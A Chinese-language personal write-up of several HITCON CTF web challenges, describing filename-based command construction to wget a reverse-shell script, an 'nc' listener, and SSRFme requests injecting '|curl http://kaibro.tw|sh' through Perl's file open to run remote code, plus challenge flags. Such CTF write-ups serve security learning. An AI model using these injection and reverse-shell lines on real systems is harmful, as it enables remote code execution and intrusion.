我來打醬油的 好像都沒貢獻到啥QQ
來記錄一下Web簡單題的解法 和幾題賽中有碰,但沒解出來的QQ
Baby First Revenge v1
這題和隊友討論很久才搞定QQ
其實一開始我們的方向就是正確的
比賽剛開始就在想,利用>ls
之類的寫檔
再用ls>z
,把產生的那些檔名塞到另一個檔案
最後串成指令去sh z
跑
但後來發現ls會有順序問題,難搞定 思路就愈走愈偏了QQ
後來我們搞老半天 成功想到可以這樣去爆所有檔案路徑
|
|
然後發現/home/fl4444g/
下有一個README.txt
接著就想辦法去讀它
後來終於構造出tar vcf a /
,把整個root打包起來下載(1.4G左右)
打開/home/fl4444g/README.txt
看,崩潰
他給你mysql帳號密碼,說flag在裡面
|
|
所以基本上就是要拿shell惹QQ
我後來是發現有lsof
可以用
可以看其他人在幹啥XDDD
甚至也可以拿到別人的ip hash (( 就是md5('orange'.ip);
這一招真的對我們幫助很大XD
因為我發現很多人卡著shell
就用他們的hash去看目錄下有啥
意外的大家目錄下都有index.html
然後內容都是reverse shell連線command
再看一下目錄下其他檔案
就大概能猜出
他們是用wget
載他們server上的index.html
然後sh i*
去reverse shell連回去
想通這點,後面就很快了 就只要想辦法構造wget kaibro.tw之類的 這部分會蠻吃域名名稱的 如果域名是abcde.tw之類的會很難構造XD 隊友還因此買了一個x開頭的短域名 然後就秒構造一個payload拿到shell了
我後來認真構造一下
終於能成功執行wget kaibro.tw
惹
payload如下:
|
|
結尾用\
可以把多行指令串起來
*
可以把當前目錄下文件名展開當作指令跑
(看起來很簡單,實際上自己踹,會發現很多細節要注意)
執行完上面那坨之後
我們目錄下的.a
就會長得像:
|
|
接著在我的server上放`index.html`:
|
|
所以只要sh .a
就會執行wget下載reverse shell指令到index.html惹
然後讓server listen一下
nc -vl 5566
再來sh i*
就會去run index.html上的指令惹
shell就彈出來了
彈出來之後去連mysql,然後就可以抓出FLAG惹
|
|
hitcon{idea_from_phith0n,thank_you:)}
順便一提,我在這題收集了很多hash 然後在SSRFme那題也可以看別人在幹啥XD 只是都沒看到啥有用的 可能太晚收集了,沒收集到強隊的hash QQ 甚至還有人故意在127.0.0.1的目錄下塞假flag 我一開始還以為是有人讀出flag後忘記刪掉 一整個被騙,花了不少時間去確認
原本還想學他,再塞幾個假flag騙人,報復一下XD 後來想說算惹,就只塞了一個佛祖保佑圖 如果有人在SSRF這題看到,那87%就是我塞的XD
Baby Ruby Escaping
這題搞很久,最後還是沒搞出來 隊上好像也沒人對ruby熟,所以一直放置著
看別人writeup才知道
原來socat連上後,按兩次tab就會顯示檔名…
超低能,都沒發現=.=
然後就可以用ARGV<<"thanks_readline_for_completing_the_name_of_flag"
把檔名塞進argv中
之後直接gets
,就會把裡面內容讀出來
(ruby會先去ARGV讀
hitcon{Bl4ckb0x.br0k3n? ? puts(flag) : try_ag4in!}
ruby is so hard QAQ
Data & mining
這題一開始看很久 後來發現封包裡面有個地方連到xmrpool 推測他應該是在挖礦 跟題目名字和題目敘述也很吻合 告訴隊友後 隊友直接搜xmr就找到flag惹
不過…
後來我才知道直接搜hitcon就能看到flag了=.=
連wireshark都不用開 頗呵
難怪兩小時就30隊解掉,感覺題目沒設計好R
hitcon{BTC_is_so_expensive_$$$$$$$}
SSRFme
這題也是賽中沒解出來 第二天一直在搞這題 整個方向都想偏了 一直以為要像Discuz Pwn一樣打某個服務
看了別人的write up
發現有人用一招很猥瑣的方式拿flag
類似這樣:
curl 'http://13.115.136.15/?url=a&filename=|curl+http://kaibro.tw|sh'
curl 'http://13.115.136.15/?url=file:|curl+http://kaibro.tw|sh'
就是perl的GET看到file會去open本地檔案 然後跟AIS3講的ruby open一樣 可以在後面塞 | 去執行指令 => RCE
但是從source code可以看到,它會先去檢查檔案是否存在 所以必須先建立檔案
例如filename=|ls
會去建立|ls
這個檔案
然後url=file:|ls
就會執行ls惹
可以用|sleep+10之類的來測試一下,會卡個一下,說明有成功執行
接著建立reverse shell,去跑/readflag就能拿flag惹
hitcon{Perl_<3_y0u}
真的沒想到這題能這樣解,覺得奇技淫巧